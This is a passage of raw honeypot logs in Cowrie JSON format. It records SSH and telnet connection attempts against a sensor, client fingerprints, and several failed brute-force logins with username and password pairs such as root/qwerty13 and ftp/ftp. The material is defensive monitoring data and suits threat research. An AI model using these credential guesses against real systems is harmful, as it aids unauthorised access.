om","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:23.822726Z","src_ip":"103.153.68.219","session":"c7b9941c9702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty13","message":"login attempt [root/qwerty13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:24.567979Z","src_ip":"103.153.68.219","session":"c7b9941c9702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:25.819374Z","src_ip":"103.153.68.219","session":"c7b9941c9702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.825281858444214,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:25.823415Z","src_ip":"192.119.13.58","session":"1bcc1f7e89f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.44271779060364,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:27.099393Z","src_ip":"192.119.13.58","session":"2deb934533bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.42904782295227,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:27.463255Z","src_ip":"192.119.13.58","session":"0419674e5aa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54860,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3bef57604b8","protocol":"telnet","message":"New connection: 192.119.13.58:54860 (10.17.0.5:23) [session: a3bef57604b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:31.308368Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":37158,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f43d32d2e78","protocol":"ssh","message":"New connection: 201.249.192.30:37158 (10.17.0.5:22) [session: 5f43d32d2e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:31.513862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:31.518692Z","src_ip":"201.249.192.30","session":"5f43d32d2e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:31.594552Z","src_ip":"201.249.192.30","session":"5f43d32d2e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"download","message":"login attempt [root/download] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:31.915377Z","src_ip":"201.249.192.30","session":"5f43d32d2e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:32.136275Z","src_ip":"116.110.11.66","session":"5d20a2b01c26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:32.991058Z","src_ip":"201.249.192.30","session":"5f43d32d2e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.2","message":"Connection lost after 28.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:33.554956Z","src_ip":"116.110.11.66","session":"5d20a2b01c26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43596,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc85f55e9e4b","protocol":"telnet","message":"New connection: 192.119.13.58:43596 (10.17.0.5:23) [session: dc85f55e9e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:35.777420Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51926,"dst_ip":"10.17.0.5","dst_port":23,"session":"109b159e409e","protocol":"telnet","message":"New connection: 192.119.13.58:51926 (10.17.0.5:23) [session: 109b159e409e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:37.943065Z"}
{"eventid":"cowrie.session.closed","duration":42.99135184288025,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:38.043728Z","src_ip":"192.119.13.58","session":"52e9503812c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42572,"dst_ip":"10.17.0.5","dst_port":23,"session":"de273cf6a1c7","protocol":"telnet","message":"New connection: 192.119.13.58:42572 (10.17.0.5:23) [session: de273cf6a1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:42.337972Z"}
{"eventid":"cowrie.session.closed","duration":38.18451285362244,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:43.360756Z","src_ip":"192.119.13.58","session":"0a41477bcd6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.62083625793457,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:44.661634Z","src_ip":"192.119.13.58","session":"f3637486d78c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.504640102386475,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:44.755434Z","src_ip":"192.119.13.58","session":"141be1dd9704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54900,"dst_ip":"10.17.0.5","dst_port":23,"session":"14617c424fa8","protocol":"telnet","message":"New connection: 192.119.13.58:54900 (10.17.0.5:23) [session: 14617c424fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:45.154145Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34756,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe219227bb8c","protocol":"telnet","message":"New connection: 192.119.13.58:34756 (10.17.0.5:23) [session: fe219227bb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:47.069380Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35420,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c703d34d101","protocol":"telnet","message":"New connection: 192.119.13.58:35420 (10.17.0.5:23) [session: 7c703d34d101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:47.256471Z"}
{"eventid":"cowrie.session.closed","duration":33.72050929069519,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:48.092638Z","src_ip":"192.119.13.58","session":"1601b222377e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44196,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99500812635","protocol":"telnet","message":"New connection: 192.119.13.58:44196 (10.17.0.5:23) [session: d99500812635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:49.326121Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44778,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dd36611aa5b","protocol":"telnet","message":"New connection: 192.119.13.58:44778 (10.17.0.5:23) [session: 9dd36611aa5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:49.430073Z"}
{"eventid":"cowrie.session.closed","duration":37.35960388183594,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:50.719442Z","src_ip":"192.119.13.58","session":"d16745217d82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51972,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcdee2cc43db","protocol":"telnet","message":"New connection: 192.119.13.58:51972 (10.17.0.5:23) [session: fcdee2cc43db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:51.166916Z"}
{"eventid":"cowrie.session.closed","duration":36.94506287574768,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:52.784796Z","src_ip":"192.119.13.58","session":"8bcce35dc6c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":58948,"dst_ip":"159.203.135.109","dst_port":23,"session":"0af0e739a218","protocol":"telnet","message":"New connection: 186.195.16.41:58948 (159.203.135.109:23) [session: 0af0e739a218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:56.552884Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51920,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f765746970","protocol":"telnet","message":"New connection: 192.119.13.58:51920 (10.17.0.5:23) [session: 82f765746970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:58.023480Z"}
{"eventid":"cowrie.session.closed","duration":37.84612202644348,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:58.629403Z","src_ip":"192.119.13.58","session":"b99cd6b0b57d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.89541578292847,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:16:59.563695Z","src_ip":"192.119.13.58","session":"82875ee71cfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.177499294281006,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:04.304499Z","src_ip":"192.119.13.58","session":"538361b4dc6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.31871843338013,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:06.634269Z","src_ip":"192.119.13.58","session":"29cb7994b242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":45634,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c7d78645e02","protocol":"ssh","message":"New connection: 103.164.9.74:45634 (10.17.0.5:22) [session: 2c7d78645e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:08.839099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:08.843621Z","src_ip":"103.164.9.74","session":"2c7d78645e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:09.043376Z","src_ip":"103.164.9.74","session":"2c7d78645e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.39561724662781,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:09.703709Z","src_ip":"192.119.13.58","session":"a3bef57604b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ines123","message":"login attempt [root/ines123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:09.874898Z","src_ip":"103.164.9.74","session":"2c7d78645e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:11.079967Z","src_ip":"103.164.9.74","session":"2c7d78645e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50846,"dst_ip":"10.17.0.5","dst_port":23,"session":"9594c00ea8d2","protocol":"telnet","message":"New connection: 192.119.13.58:50846 (10.17.0.5:23) [session: 9594c00ea8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:11.352435Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52606,"dst_ip":"10.17.0.5","dst_port":23,"session":"8be36dc08941","protocol":"telnet","message":"New connection: 192.119.13.58:52606 (10.17.0.5:23) [session: 8be36dc08941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:11.795507Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58232,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc81ac164bc","protocol":"telnet","message":"New connection: 192.119.13.58:58232 (10.17.0.5:23) [session: 7cc81ac164bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:13.308937Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60104,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e48e8acc38b","protocol":"telnet","message":"New connection: 192.119.13.58:60104 (10.17.0.5:23) [session: 7e48e8acc38b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:13.816845Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":44890,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d1e1f334c9e","protocol":"ssh","message":"New connection: 115.68.226.124:44890 (10.17.0.5:22) [session: 8d1e1f334c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:15.208420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:15.213748Z","src_ip":"115.68.226.124","session":"8d1e1f334c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:15.427051Z","src_ip":"115.68.226.124","session":"8d1e1f334c9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devel0p3r","message":"login attempt [root/devel0p3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:16.273939Z","src_ip":"115.68.226.124","session":"8d1e1f334c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:17.488137Z","src_ip":"115.68.226.124","session":"8d1e1f334c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59520,"dst_ip":"10.17.0.5","dst_port":23,"session":"82ccbb270d5c","protocol":"telnet","message":"New connection: 192.119.13.58:59520 (10.17.0.5:23) [session: 82ccbb270d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:20.141674Z"}
{"eventid":"cowrie.session.closed","duration":44.033751487731934,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:21.976644Z","src_ip":"192.119.13.58","session":"109b159e409e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39336,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cef78329262","protocol":"telnet","message":"New connection: 192.119.13.58:39336 (10.17.0.5:23) [session: 3cef78329262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:22.069458Z"}
{"eventid":"cowrie.session.closed","duration":36.40702176094055,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:23.663398Z","src_ip":"192.119.13.58","session":"7c703d34d101","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46342,"dst_ip":"10.17.0.5","dst_port":23,"session":"d53bb2ca2882","protocol":"telnet","message":"New connection: 192.119.13.58:46342 (10.17.0.5:23) [session: d53bb2ca2882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:23.866423Z"}
{"eventid":"cowrie.session.closed","duration":36.969496965408325,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:24.038753Z","src_ip":"192.119.13.58","session":"fe219227bb8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.30283784866333,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:24.080224Z","src_ip":"192.119.13.58","session":"dc85f55e9e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.156911849975586,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:24.310932Z","src_ip":"192.119.13.58","session":"14617c424fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":56198,"dst_ip":"159.203.135.109","dst_port":22,"session":"51aa20f08e11","protocol":"ssh","message":"New connection: 116.110.15.216:56198 (159.203.135.109:22) [session: 51aa20f08e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:24.635694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:25.096699Z","src_ip":"116.110.15.216","session":"51aa20f08e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-ds